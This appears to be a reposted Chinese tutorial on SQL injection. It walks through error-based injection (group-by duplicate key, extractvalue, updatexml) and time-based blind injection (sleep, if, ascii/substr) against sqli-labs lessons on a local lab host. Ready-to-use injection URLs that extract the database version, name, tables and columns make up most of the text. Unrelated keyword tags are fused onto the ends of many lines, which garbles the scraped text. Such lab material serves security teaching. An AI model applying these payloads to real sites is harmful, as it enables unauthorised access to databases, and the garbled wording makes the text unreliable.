SQL注入基礎(報錯注入及延時注入)

沒有人不辛苦,只是有人不喊疼。。。javascript

----  網易雲熱評java

環境:sqliweb


1、報錯注入sql

一、判斷是否存在報錯數據庫

http://192.168.77.128/sqli/Less-2/?id=1'安全

二、group by 虛擬表主鍵重複衝突ruby

查看數據庫版本號微信

http://192.168.77.128/sqli/Less-2/?id=1 and (select 1 from (select count(*),concat(0x23,(select version()),0x23,floor(rand(0)*2))x from information_schema.tables group by x)a limit 1)


運行結果:函數

獲取數據庫名稱工具

http://192.168.77.128/sqli/Less-2/?id=1 and (select 1 from (select count(*),concat(0x23,(select database()),0x23,floor(rand(0)*2))x from information_schema.tables group by x)a limit 1)


三、extractvalue()函數

獲取sercurity數據庫中的表名,經過修改limit後面的數字獲取該數據庫不一樣的表名


http://192.168.77.128/sqli/Less-2/?id=1 and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x23))

四、updatexml()函數

獲取user表名中的字段,經過修改limit後面的數字獲取該數據庫不一樣的字段


http://192.168.77.128/sqli/Less-2/?id=1 and updatexml(2,concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x23),1)


2、延時注入

一、判斷字符注入

http://192.168.77.128/sqli/Less-8/?id=1' and 1=2 --+ 報錯

http://192.168.77.128/sqli/Less-8/?id=1' and 1=1 --+ 正常

二、判斷是否存在延時


http://192.168.77.128/sqli/Less-8/?id=1' and sleep(5) --+ 延長5秒再執行


http://192.168.77.128/sqli/Less-8/?id=1 and sleep(5) --+ 沒有延長

三、if與sleep結合使用

if(exp1,exp2,exp3):若是exp1爲真,返回exp2,不然返回exp3

四、判斷數據庫長度


http://192.168.77.128/sqli/Less-8/?id=1' and if(length(database())>=8,sleep(5),1) --+

五、判斷數據庫名字的第一個字母


http://192.168.77.128/sqli/Less-8/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+

延時5秒,說明數據庫的第一個字母的ASCII碼爲115,即s

六、根據之前內容,能夠獲取表名和字段名。




禁止非法,後果自負

歡迎關注公衆號:web安全工具庫

本文分享自微信公衆號 - web安全工具庫(websec-tools)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。

相關文章
相關標籤/搜索